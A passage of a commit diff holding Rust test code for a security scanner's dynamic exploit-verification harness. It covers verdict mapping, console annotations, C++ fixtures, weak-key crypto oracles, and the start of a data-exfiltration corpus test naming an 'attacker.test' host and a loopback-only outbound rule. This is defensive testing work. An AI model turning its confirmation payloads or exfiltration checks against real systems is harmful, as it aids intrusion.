// [`VerifyStatus`] directly without learning the runner's API.
match outcome {
Ok(run) => {
let detail = if run.triggered_by.is_none() {
Some(format!(
"attempts={:?}",
run.attempts
.iter()
.map(|a| format!(
"{} fired={} triggered={} sink_hit={} exit={:?} stdout={:?} stderr={:?}",
a.payload_label,
a.oracle_fired,
a.triggered,
a.outcome.sink_hit,
a.outcome.exit_code,
String::from_utf8_lossy(&a.outcome.stdout),
String::from_utf8_lossy(&a.outcome.stderr)
))
.collect::<Vec<_>>()
))
} else {
None
};
let (status, inconclusive_reason) = if run.triggered_by.is_some() {
(VerifyStatus::Confirmed, None)
} else if run.oracle_collision {
(
VerifyStatus::Inconclusive,
Some(nyx_scanner::evidence::InconclusiveReason::OracleCollisionSuspected),
)
} else if run.unrelated_crash {
// Mirror the runner's downgrade in
// `src/dynamic/runner.rs:425-432`: a process-level crash
// outside the sink probe routes to
// `Inconclusive(UnrelatedCrash)`. Shape suites that
// exercise SinkCrash oracles pin this branch instead of
// recreating `run_spec` plumbing inline.
(
VerifyStatus::Inconclusive,
Some(nyx_scanner::evidence::InconclusiveReason::UnrelatedCrash),
)
} else {
(VerifyStatus::NotConfirmed, None)
};
VerifyResult {
finding_id: spec.finding_id.clone(),
status,
triggered_payload: run
.triggered_by
.and_then(|i| run.attempts.get(i))
.map(|a| a.payload_label.to_owned()),
reason: None,
inconclusive_reason,
detail,
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
}
}
Err(RunError::NoPayloadsForCap) => VerifyResult {
finding_id: spec.finding_id.clone(),
status: VerifyStatus::Unsupported,
triggered_payload: None,
reason: Some(UnsupportedReason::NoPayloadsForCap),
inconclusive_reason: None,
detail: None,
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
// A sandbox backend the harness requires is not usable on this host
// (e.g. compiled C/C++/Go/Rust fixtures need Docker on a machine
// without a working process backend, and the daemon is down or
// half-up). Project this to `Inconclusive(SandboxError)` rather than
// `Unsupported`: `assert_not_confirmed` tolerates `Inconclusive`, so
// the direct (non-skip) caller `run_shape_fixture` (used by the Python
// suite, which returns a `VerifyResult` and cannot skip) keeps the
// same benign verdict it had before this arm existed. The dedicated
// `SandboxError` reason is what lets `run_shape_fixture_lang_or_skip`
// recognise this specific case and turn it into a clean skip, so a
// missing/broken backend never fails a confirm-gate on a host that
// simply cannot execute the harness.
Err(RunError::Sandbox(
nyx_scanner::dynamic::sandbox::SandboxError::BackendUnavailable(_),
)) => VerifyResult {
finding_id: spec.finding_id.clone(),
status: VerifyStatus::Inconclusive,
triggered_payload: None,
reason: None,
inconclusive_reason: Some(InconclusiveReason::SandboxError),
detail: Some("sandbox backend unavailable".to_owned()),
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
Err(e) => VerifyResult {
finding_id: spec.finding_id.clone(),
status: VerifyStatus::Inconclusive,
triggered_payload: None,
reason: None,
inconclusive_reason: None,
detail: Some(format!("{e:?}")),
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
}
}
/// Phase 29 (Track I) — `run_shape_fixture_lang` with structured
/// prerequisite gating.
///
/// Checks `requires` against the host before staging the fixture; when
/// a prerequisite is unmet, eprintln-skips with a [`SkipReason`] (so
/// `cargo nextest` surfaces the line in test output) and returns
/// `None`. Callers migrate from the bespoke
/// `python3_available()` / `go_available()` / etc. helpers + per-test
/// `eprintln!("SKIP ...") ; return;` blocks to a single
/// `let Some(r) = run_shape_fixture_lang_or_skip(...) else { return; };`
/// at the call site.
#[allow(clippy::too_many_arguments)]
#[allow(dead_code)]
pub fn run_shape_fixture_lang_or_skip(
requires: &[Prerequisite],
lang: nyx_scanner::symbol::Lang,
lang_dir: &str,
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) -> Option<VerifyResult> {
if let Err(reason) = check_prerequisites(requires) {
eprintln!("SKIP {lang_dir}/{shape_dir}/{file}: {reason}");
return None;
}
let result = run_shape_fixture_lang(
lang,
lang_dir,
shape_dir,
file,
func,
cap,
sink_line,
entry_kind,
payload_slot,
);
// The required sandbox backend is unavailable on this host (probed only at
// run time, after the static `check_prerequisites` gate). Treat it as a
// structured skip so a missing/broken Docker daemon does not flip an
// environment-fragile confirm gate to a hard failure. Only the dedicated
// `BackendUnavailable -> Inconclusive(SandboxError)` projection above sets
// this reason, so genuine `Inconclusive` verdicts (oracle collisions,
// unrelated crashes) and other sandbox errors still flow through to the
// assertion. Hosts with a working backend run the fixture to completion,
// so coverage is unchanged wherever execution is actually possible.
if matches!(result.status, VerifyStatus::Inconclusive)
&& result.inconclusive_reason == Some(InconclusiveReason::SandboxError)
{
eprintln!("SKIP {lang_dir}/{shape_dir}/{file}: sandbox backend unavailable");
return None;
}
Some(result)
}
/// Phase 29 (Track I) — `run_harness_snapshot_lang` with structured
/// prerequisite gating. Returns `false` and eprintln-skips when a
/// prerequisite is unmet; otherwise runs the snapshot to completion
/// and returns `true`.
#[allow(clippy::too_many_arguments)]
#[allow(dead_code)]
pub fn run_harness_snapshot_lang_or_skip(
requires: &[Prerequisite],
lang: nyx_scanner::symbol::Lang,
lang_dir: &str,
snapshot_ext: &str,
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) -> bool {
if let Err(reason) = check_prerequisites(requires) {
eprintln!("SKIP {lang_dir}/{shape_dir}/{file}: {reason}");
return false;
}
run_harness_snapshot_lang(
lang,
lang_dir,
snapshot_ext,
shape_dir,
file,
func,
cap,
sink_line,
entry_kind,
payload_slot,
);
true
}
/// Phase 12 — Python-specific harness snapshot wrapper.
///
/// Pins lang to [`Lang::Python`] and the lang dir to `python` so legacy
/// Python tests can keep their original two-axis signature.
#[allow(clippy::too_many_arguments)]
pub fn run_harness_snapshot(
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) {
run_harness_snapshot_lang(
nyx_scanner::symbol::Lang::Python,
"python",
"py",
shape_dir,
file,
func,
cap,
sink_line,
entry_kind,
payload_slot,
)
}
/// Phase 13 — lang-aware golden harness snapshot.
///
/// Stages `tests/dynamic_fixtures/<lang_dir>/<shape>/<file>` into a
/// tempdir, builds a [`HarnessSpec`] for the supplied lang / entry kind
/// / payload slot, emits the per-shape harness via
/// [`nyx_scanner::dynamic::lang::emit`], and either writes the resulting
/// source to `<shape>/<file>.golden_harness.<ext>` (under
/// `NYX_UPDATE_GOLDENS=1`) or diffs against the existing snapshot.
#[allow(clippy::too_many_arguments)]
pub fn run_harness_snapshot_lang(
lang: nyx_scanner::symbol::Lang,
lang_dir: &str,
snapshot_ext: &str,
shape_dir: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
entry_kind: EntryKind,
payload_slot: nyx_scanner::dynamic::spec::PayloadSlot,
) {
use nyx_scanner::dynamic::lang as lang_emit;
use nyx_scanner::dynamic::spec::{HarnessSpec, SpecDerivationStrategy};
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let fixture_root = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures")
.join(lang_dir)
.join(shape_dir);
let fixture_src = fixture_root.join(file);
let snapshot_path = fixture_root.join(format!("{file}.golden_harness.{snapshot_ext}"));
// Stage into tempdir so the spec.entry_file path matches what the
// verifier sees at runtime.
let tmp = TempDir::new().expect("create tempdir");
let dst = tmp.path().join(file);
std::fs::copy(&fixture_src, &dst).expect("copy fixture into tempdir");
let entry_file = dst.to_string_lossy().into_owned();
let toolchain_id = nyx_scanner::dynamic::spec::default_toolchain_id(lang);
let spec = HarnessSpec {
finding_id: "0000000000000001".into(),
entry_file: entry_file.clone(),
entry_name: func.to_owned(),
entry_kind,
lang,
toolchain_id: toolchain_id.into(),
payload_slot,
expected_cap: cap,
constraint_hints: vec![],
sink_file: entry_file,
sink_line,
// Snapshot uses a fixed spec_hash so the emitted source stays
// stable; the runner regenerates the real hash at verify time.
spec_hash: "snapshotsnapshot".into(),
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
let harness = lang_emit::emit(&spec).expect("emitter must produce a harness");
// Strip the tempdir prefix so the snapshot is stable across runs.
let tmp_prefix = tmp.path().to_string_lossy().into_owned();
let normalised = harness
.source
.replace(&tmp_prefix, "<TMPDIR>")
.replace(file, "<ENTRY_FILE>");
if std::env::var("NYX_UPDATE_GOLDENS").is_ok_and(|v| v == "1") {
std::fs::write(&snapshot_path, &normalised)
.unwrap_or_else(|e| panic!("write harness snapshot {}: {e}", snapshot_path.display()));
return;
}
let expected = std::fs::read_to_string(&snapshot_path).unwrap_or_else(|e| {
panic!(
"missing harness snapshot {}: {e}\n\
current harness source:\n{normalised}\n\
rerun with NYX_UPDATE_GOLDENS=1 to seed it.",
snapshot_path.display()
)
});
if expected != normalised {
panic!(
"harness snapshot drift for {shape_dir}/{file}:\n\
---- expected ----\n{expected}\n\
---- actual ----\n{normalised}\n\
rerun with NYX_UPDATE_GOLDENS=1 if intended."
);
}
}
fn make_diag(path: &Path, func: &str, cap: Cap, sink_line: u32) -> Diag {
let path_str = path.to_string_lossy().into_owned();
let evidence = Evidence {
flow_steps: vec![
FlowStep {
step: 1,
kind: FlowStepKind::Source,
file: path_str.clone(),
line: 1,
col: 0,
snippet: None,
variable: Some("payload".into()),
callee: None,
function: Some(func.to_owned()),
is_cross_file: false,
},
FlowStep {
step: 2,
kind: FlowStepKind::Sink,
file: path_str.clone(),
line: sink_line,
col: 4,
snippet: None,
variable: None,
callee: None,
function: None,
is_cross_file: false,
},
],
sink_caps: cap.bits(),
..Default::default()
};
Diag {
path: path_str,
line: sink_line as usize,
col: 0,
severity: Severity::High,
id: "taint-unsanitised-flow".into(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: None,
labels: vec![],
confidence: Some(Confidence::High),
evidence: Some(evidence),
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: vec![],
stable_hash: 0,
}
}

7
tests/common/mod.rs
View file

@ -2,6 +2,13 @@
pub mod recall;
// Only `python_fixtures` and `rust_fixtures` reference these symbols; every
// other test binary pulls `mod common` in and would otherwise emit
// per-binary `dead_code` warnings for the whole submodule.
#[cfg(feature = "dynamic")]
#[allow(dead_code)]
pub mod fixture_harness;
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::utils::config::{AnalysisMode, Config};
use serde::Deserialize;

237
tests/console_snapshot.rs Normal file
View file

@ -0,0 +1,237 @@
//! Snapshot-style tests for the `[DYN: ...]` annotation in console output.
//!
//! Each `VerifyStatus` variant must produce the correct dim annotation line
//! beneath the finding block when `evidence.dynamic_verdict` is set.
use nyx_scanner::commands::scan::Diag;
use nyx_scanner::evidence::{
AttemptSummary, Evidence, InconclusiveReason, UnsupportedReason, VerifyResult, VerifyStatus,
};
use nyx_scanner::fmt::render_console;
use nyx_scanner::patterns::{FindingCategory, Severity};
// ── Helper ───────────────────────────────────────────────────────────────────
fn strip_ansi(s: &str) -> String {
let mut out = String::new();
let mut in_escape = false;
for ch in s.chars() {
if ch == '\x1b' {
in_escape = true;
} else if in_escape {
if ch == 'm' {
in_escape = false;
}
} else {
out.push(ch);
}
}
out
}
fn base_diag() -> Diag {
Diag {
path: "src/main.rs".into(),
line: 42,
col: 5,
severity: Severity::High,
id: "taint-unsanitised-flow".into(),
category: FindingCategory::Security,
path_validated: false,
guard_kind: None,
message: Some("unsanitised input flows to exec".into()),
labels: vec![],
confidence: None,
evidence: None,
rank_score: None,
rank_reason: None,
suppressed: false,
suppression: None,
rollup: None,
finding_id: String::new(),
alternative_finding_ids: Vec::new(),
stable_hash: 0,
}
}
fn diag_with_verdict(status: VerifyStatus) -> Diag {
let verdict = match status {
VerifyStatus::Confirmed => VerifyResult {
finding_id: "abc123".into(),
status,
triggered_payload: Some("sqli-tautology".into()),
reason: None,
inconclusive_reason: None,
detail: None,
attempts: vec![AttemptSummary {
payload_label: "sqli-tautology".into(),
exit_code: Some(0),
timed_out: false,
triggered: true,
sink_hit: true,
}],
toolchain_match: Some("exact".into()),
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
VerifyStatus::PartiallyConfirmed => VerifyResult {
finding_id: "abc123".into(),
status,
triggered_payload: None,
reason: None,
inconclusive_reason: None,
detail: Some(
"sink-reachability probe fired but the oracle marker was not observed; exploit chain did not complete".into(),
),
attempts: vec![AttemptSummary {
payload_label: "sqli-tautology".into(),
exit_code: Some(0),
timed_out: false,
triggered: false,
sink_hit: true,
}],
toolchain_match: Some("exact".into()),
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
VerifyStatus::NotConfirmed => VerifyResult {
finding_id: "abc123".into(),
status,
triggered_payload: None,
reason: None,
inconclusive_reason: None,
detail: None,
attempts: vec![AttemptSummary {
payload_label: "sqli-tautology".into(),
exit_code: Some(0),
timed_out: false,
triggered: false,
sink_hit: false,
}],
toolchain_match: Some("exact".into()),
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
VerifyStatus::Unsupported => VerifyResult {
finding_id: "abc123".into(),
status,
triggered_payload: None,
reason: Some(UnsupportedReason::NoPayloadsForCap),
inconclusive_reason: None,
detail: None,
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
VerifyStatus::Inconclusive => VerifyResult {
finding_id: "abc123".into(),
status,
triggered_payload: None,
reason: None,
inconclusive_reason: Some(InconclusiveReason::BuildFailed),
detail: Some("build failed after 3 attempts: linker error".into()),
attempts: vec![],
toolchain_match: None,
differential: None,
replay_stable: None,
wrong: None,
hardening_outcome: None,
},
};
let mut d = base_diag();
d.evidence = Some(Evidence {
dynamic_verdict: Some(verdict),
..Default::default()
});
d
}
// ── Tests ────────────────────────────────────────────────────────────────────
#[test]
fn console_confirmed_shows_payload_id() {
let diag = diag_with_verdict(VerifyStatus::Confirmed);
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
stripped.contains("[DYN: confirmed via sqli-tautology]"),
"expected DYN confirmed annotation, got:\n{stripped}"
);
}
#[test]
fn console_not_confirmed_shows_annotation() {
let diag = diag_with_verdict(VerifyStatus::NotConfirmed);
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
stripped.contains("[DYN: not confirmed]"),
"expected DYN not-confirmed annotation, got:\n{stripped}"
);
}
#[test]
fn console_partially_confirmed_shows_sink_reached() {
let diag = diag_with_verdict(VerifyStatus::PartiallyConfirmed);
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
stripped.contains("[DYN: partially confirmed (sink reached)]"),
"expected DYN partially-confirmed annotation, got:\n{stripped}"
);
}
#[test]
fn console_unsupported_shows_reason() {
let diag = diag_with_verdict(VerifyStatus::Unsupported);
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
stripped.contains("[DYN: unsupported (no payloads for cap)]"),
"expected DYN unsupported annotation, got:\n{stripped}"
);
}
#[test]
fn console_inconclusive_shows_reason() {
let diag = diag_with_verdict(VerifyStatus::Inconclusive);
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
stripped.contains("[DYN: inconclusive (build failed)]"),
"expected DYN inconclusive annotation, got:\n{stripped}"
);
}
#[test]
fn console_no_annotation_when_no_dynamic_verdict() {
let diag = base_diag();
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
!stripped.contains("[DYN:"),
"expected no DYN annotation when evidence is None:\n{stripped}"
);
}
#[test]
fn console_no_annotation_when_evidence_has_no_verdict() {
let mut diag = base_diag();
diag.evidence = Some(Evidence::default());
let output = render_console(&[diag], "proj", None, &[]);
let stripped = strip_ansi(&output);
assert!(
!stripped.contains("[DYN:"),
"expected no DYN annotation when dynamic_verdict is None:\n{stripped}"
);
}

181
tests/cpp_fixtures.rs Normal file
View file

@ -0,0 +1,181 @@
//! C++ fixture integration tests (Phase 16 acceptance gate).
//!
//! Runs the dynamic verification pipeline against each C++ shape fixture
//! and asserts the expected verdict. Requires `--features dynamic` and
//! `c++` on PATH (override via `NYX_CXX_BIN`).
//!
//! File layout per shape:
//! ```text
//! tests/dynamic_fixtures/cpp/<shape>/{vuln,benign}.cpp
//! ```
//!
//! Run with: `cargo nextest run --features dynamic --test cpp_fixtures`
mod common;
#[cfg(feature = "dynamic")]
mod cpp_fixture_tests {
use crate::common::fixture_harness::{Prerequisite, run_shape_fixture_lang_or_skip};
use nyx_scanner::dynamic::spec::PayloadSlot;
use nyx_scanner::evidence::{EntryKind, VerifyResult, VerifyStatus};
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
const CXX_REQ: &[Prerequisite] = &[Prerequisite::CommandAvailableEnvOverride {
env_var: "NYX_CXX_BIN",
default: "c++",
}];
fn assert_confirmed(shape: &str, result: &VerifyResult) {
assert_eq!(
result.status,
VerifyStatus::Confirmed,
"{shape}/vuln: expected Confirmed, got {:?} ({:?})",
result.status,
result.detail,
);
}
fn assert_not_confirmed(shape: &str, result: &VerifyResult) {
assert!(
matches!(
result.status,
VerifyStatus::NotConfirmed | VerifyStatus::Inconclusive
),
"{shape}/benign: expected NotConfirmed (or Inconclusive), got {:?} ({:?})",
result.status,
result.detail,
);
assert_ne!(
result.status,
VerifyStatus::Confirmed,
"{shape}/benign: must not confirm",
);
}
#[allow(clippy::too_many_arguments)]
fn run(
shape: &str,
file: &str,
func: &str,
cap: Cap,
sink_line: u32,
kind: EntryKind,
slot: PayloadSlot,
) -> Option<VerifyResult> {
run_shape_fixture_lang_or_skip(
CXX_REQ,
Lang::Cpp,
"cpp",
shape,
file,
func,
cap,
sink_line,
kind,
slot,
)
}
// ── main_argv ───────────────────────────────────────────────────────────
#[test]
fn main_argv_vuln_is_confirmed() {
let Some(r) = run(
"main_argv",
"vuln.cpp",
"nyx_entry_main",
Cap::CODE_EXEC,
16,
EntryKind::CliSubcommand,
PayloadSlot::Argv(0),
) else {
return;
};
assert_confirmed("main_argv", &r);
}
#[test]
fn main_argv_benign_not_confirmed() {
let Some(r) = run(
"main_argv",
"benign.cpp",
"nyx_entry_main",
Cap::CODE_EXEC,
11,
EntryKind::CliSubcommand,
PayloadSlot::Argv(0),
) else {
return;
};
assert_not_confirmed("main_argv", &r);
}
// ── libfuzzer ───────────────────────────────────────────────────────────
#[test]
fn libfuzzer_vuln_is_confirmed() {
let Some(r) = run(
"libfuzzer",
"vuln.cpp",
"LLVMFuzzerTestOneInput",
Cap::CODE_EXEC,
15,
EntryKind::LibraryApi,
PayloadSlot::Param(0),
) else {
return;
};
assert_confirmed("libfuzzer", &r);
}
#[test]
fn libfuzzer_benign_not_confirmed() {
let Some(r) = run(
"libfuzzer",
"benign.cpp",
"LLVMFuzzerTestOneInput",
Cap::CODE_EXEC,
10,
EntryKind::LibraryApi,
PayloadSlot::Param(0),
) else {
return;
};
assert_not_confirmed("libfuzzer", &r);
}
// ── free_fn ─────────────────────────────────────────────────────────────
#[test]
fn free_fn_vuln_is_confirmed() {
let Some(r) = run(
"free_fn",
"vuln.cpp",
"run",
Cap::CODE_EXEC,
12,
EntryKind::Function,
PayloadSlot::Param(0),
) else {
return;
};
assert_confirmed("free_fn", &r);
}
#[test]
fn free_fn_benign_not_confirmed() {
let Some(r) = run(
"free_fn",
"benign.cpp",
"run",
Cap::CODE_EXEC,
10,
EntryKind::Function,
PayloadSlot::Param(0),
) else {
return;
};
assert_not_confirmed("free_fn", &r);
}
}

311
tests/crypto_corpus.rs Normal file
View file

@ -0,0 +1,311 @@
//! Phase 11 (Track J.9) — `Cap::CRYPTO` corpus acceptance.
//!
//! Asserts the new cap end-to-end at the corpus + oracle layer:
//! per-language vuln/benign slices register, lang-aware benign-control
//! resolution pairs them inside the correct slice, and the
//! `WeakKeyEntropy` predicate fires only when a `WeakKey { key_int }`
//! probe whose `key_int` is strictly less than `2^max_bits` lands on
//! the channel. Per-lang harness dispatchers are deferred — see
//! `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test crypto_corpus`.
#![cfg(feature = "dynamic")]
mod common;
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{Oracle, ProbePredicate, oracle_fired};
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::time::Duration;
const LANGS: &[Lang] = &[Lang::Java, Lang::Python, Lang::Php, Lang::Go, Lang::Rust];
fn outcome() -> SandboxOutcome {
SandboxOutcome {
exit_code: Some(0),
stdout: vec![],
stderr: vec![],
timed_out: false,
oob_callback_seen: false,
sink_hit: false,
duration: Duration::from_millis(1),
hardening_outcome: None,
}
}
fn weak_key_probe(key_int: u64) -> SinkProbe {
SinkProbe {
sink_callee: "__nyx_weak_key".into(),
args: vec![],
captured_at_ns: 1,
payload_id: "crypto-test".into(),
kind: ProbeKind::WeakKey { key_int },
witness: ProbeWitness::empty(),
}
}
#[test]
fn corpus_registers_crypto_for_each_supported_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
assert!(!slice.is_empty(), "CRYPTO has no payloads for {lang:?}");
assert!(
slice.iter().any(|p| !p.is_benign),
"{lang:?} CRYPTO missing vuln payload",
);
assert!(
slice.iter().any(|p| p.is_benign),
"{lang:?} CRYPTO missing benign control",
);
}
}
#[test]
fn crypto_payloads_pair_benign_controls_per_lang() {
for lang in LANGS {
let slice = payloads_for_lang(Cap::CRYPTO, *lang);
let vuln = slice.iter().find(|p| !p.is_benign).expect("vuln payload");
let resolved =
resolve_benign_control_lang(vuln, Cap::CRYPTO, *lang).expect("benign control resolves");
assert!(resolved.is_benign);
match &vuln.oracle {
Oracle::SinkProbe { predicates } => {
assert!(
predicates
.iter()
.any(|p| matches!(p, ProbePredicate::WeakKeyEntropy { max_bits: 16 }))
);
}
other => panic!("expected SinkProbe, got {other:?}"),
}
}
}
#[test]
fn weak_key_entropy_fires_below_budget() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
let probes = vec![weak_key_probe(0x1234)];
assert!(oracle_fired(&oracle, &outcome(), &probes));
}
#[test]
fn weak_key_entropy_clears_above_budget() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
let probes = vec![weak_key_probe(u64::MAX / 2)];
assert!(!oracle_fired(&oracle, &outcome(), &probes));
}
#[test]
fn weak_key_entropy_clears_with_no_probe() {
let oracle = Oracle::SinkProbe {
predicates: &[ProbePredicate::WeakKeyEntropy { max_bits: 16 }],
};
assert!(!oracle_fired(&oracle, &outcome(), &[]));
}
// ── End-to-end Phase 11 CRYPTO acceptance via run_spec ───────────────────────
//
// Drives `run_spec` directly on a `Cap::CRYPTO` spec per language and
// asserts the polarity via the `ProbeKind::WeakKey { key_int }` probe.
// The vuln fixture is payload-branched: the curated `NYX_CRYPTO_WEAK`
// payload routes through the weak RNG (sub-2^16 key → predicate fires);
// the curated `NYX_CRYPTO_STRONG` benign control routes through the
// CSPRNG (huge key → predicate clears). Both attempts load the same
// `vuln.<ext>` fixture, so the runner's existing single-entry-file
// model holds — see the deferred items file for the rationale.
//
// Per-lang coverage: Python / PHP / Java / Go / Rust fixtures are
// payload-branched in tree. The Go case SKIPs on hosts without the
// `go` toolchain.
mod e2e_phase_11_crypto {
use crate::common::fixture_harness::FIXTURE_LOCK;
use nyx_scanner::dynamic::runner::{RunError, RunOutcome, run_spec};
use nyx_scanner::dynamic::sandbox::{SandboxBackend, SandboxOptions};
use nyx_scanner::dynamic::spec::{
EntryKind, HarnessSpec, PayloadSlot, SpecDerivationStrategy, default_toolchain_id,
};
use nyx_scanner::evidence::DifferentialVerdict;
use nyx_scanner::labels::Cap;
use nyx_scanner::symbol::Lang;
use std::path::PathBuf;
use std::process::Command;
use tempfile::TempDir;
fn command_available(bin: &str) -> bool {
Command::new(bin)
.arg("--version")
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
fn toolchain_for(lang: Lang) -> &'static str {
match lang {
Lang::Python => "python3",
Lang::Php => "php",
Lang::Java => "java",
Lang::Rust => "cargo",
Lang::Go => "go",
_ => unreachable!("e2e_phase_11_crypto covers Python/PHP/Java/Rust/Go today"),
}
}
fn lang_subdir(lang: Lang) -> &'static str {
match lang {
Lang::Python => "python",
Lang::Php => "php",
Lang::Java => "java",
Lang::Rust => "rust",
Lang::Go => "go",
_ => unreachable!(),
}
}
fn build_spec(lang: Lang, fixture: &str, entry_name: &str) -> (HarnessSpec, TempDir) {
let fixture_src = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests/dynamic_fixtures/crypto")
.join(lang_subdir(lang))
.join(fixture);
let tmp = TempDir::new().expect("create tempdir");
let dst = tmp.path().join(fixture);
std::fs::copy(&fixture_src, &dst).expect("copy fixture into tempdir");
let entry_file = dst.to_string_lossy().into_owned();
let mut digest = blake3::Hasher::new();
digest.update(b"phase11-e2e-crypto|");
digest.update(lang_subdir(lang).as_bytes());
digest.update(b"|");
digest.update(fixture.as_bytes());
let spec_hash = format!("{:016x}", {
let bytes = digest.finalize();
u64::from_le_bytes(bytes.as_bytes()[..8].try_into().unwrap())
});
if matches!(lang, Lang::Java | Lang::Rust) {
let workdir = std::path::PathBuf::from("/tmp/nyx-harness").join(&spec_hash);
let _ = std::fs::remove_dir_all(&workdir);
}
let spec = HarnessSpec {
finding_id: spec_hash.clone(),
entry_file: entry_file.clone(),
entry_name: entry_name.to_owned(),
entry_kind: EntryKind::Function,
lang,
toolchain_id: default_toolchain_id(lang).into(),
payload_slot: PayloadSlot::Param(0),
expected_cap: Cap::CRYPTO,
constraint_hints: vec![],
sink_file: entry_file,
sink_line: 1,
spec_hash: spec_hash.clone(),
derivation: SpecDerivationStrategy::FromFlowSteps,
stubs_required: vec![],
framework: None,
java_toolchain: nyx_scanner::dynamic::spec::JavaToolchain::default(),
};
(spec, tmp)
}
fn run(lang: Lang, fixture: &str, entry_name: &str) -> Option<RunOutcome> {
let bin = toolchain_for(lang);
if !command_available(bin) {
eprintln!("SKIP {lang:?} {fixture}: missing toolchain {bin}");
return None;
}
let _guard = FIXTURE_LOCK.lock().unwrap_or_else(|e| e.into_inner());
let (spec, _tmp) = build_spec(lang, fixture, entry_name);
let opts = SandboxOptions {
backend: SandboxBackend::Process,
..SandboxOptions::default()
};
match run_spec(&spec, &opts) {
Ok(outcome) => Some(outcome),
Err(RunError::BuildFailed { stderr, attempts }) => {
eprintln!(
"SKIP {lang:?} {fixture}: harness build failed after {attempts} attempts: {stderr}",
);
None
}
Err(e) => panic!("run_spec({lang:?} {fixture}) errored: {e:?}"),
}
}
fn assert_confirmed(lang: Lang, outcome: &RunOutcome) {
assert!(
outcome.triggered_by.is_some(),
"{lang:?} CRYPTO vuln must Confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("Confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn python_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Python, "vuln.py", "run") else {
return;
};
assert_confirmed(Lang::Python, &outcome);
}
#[test]
fn php_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Php, "vuln.php", "run") else {
return;
};
assert_confirmed(Lang::Php, &outcome);
}
#[test]
fn java_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Java, "vuln.java", "run") else {
return;
};
assert_confirmed(Lang::Java, &outcome);
}
#[test]
fn rust_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Rust, "vuln.rs", "run") else {
return;
};
assert_confirmed(Lang::Rust, &outcome);
}
#[test]
fn go_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Go, "vuln.go", "Run") else {
return;
};
assert_confirmed(Lang::Go, &outcome);
}
}
#[test]
fn crypto_unsupported_for_other_langs() {
for lang in [
Lang::C,
Lang::Cpp,
Lang::Ruby,
Lang::JavaScript,
Lang::TypeScript,
] {
assert!(
payloads_for_lang(Cap::CRYPTO, lang).is_empty(),
"CRYPTO has unexpected payloads for {lang:?}",
);
}
}

491
tests/data_exfil_corpus.rs Normal file
View file

@ -0,0 +1,491 @@
//! Phase 11 (Track J.9) — `Cap::DATA_EXFIL` corpus acceptance.
//!
//! Asserts the corpus + outbound-network oracle for all seven
//! backend-capable languages. The vuln payload supplies an
//! attacker-controlled host (`attacker.test`); the
//! [`nyx_scanner::dynamic::oracle::ProbePredicate::OutboundHostNotIn`]
//! predicate fires when the captured `host` falls outside the
//! loopback allowlist (`&["127.0.0.1", "localhost"]`). Per-lang
//! harness dispatchers are deferred — see
//! `.pitboss/play/deferred.md`.
//!
//! `cargo nextest run --features dynamic --test data_exfil_corpus`.
#![cfg(feature = "dynamic")]
mod common;
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
use nyx_scanner::dynamic::oracle::{Oracle, ProbePredicate, oracle_fired};
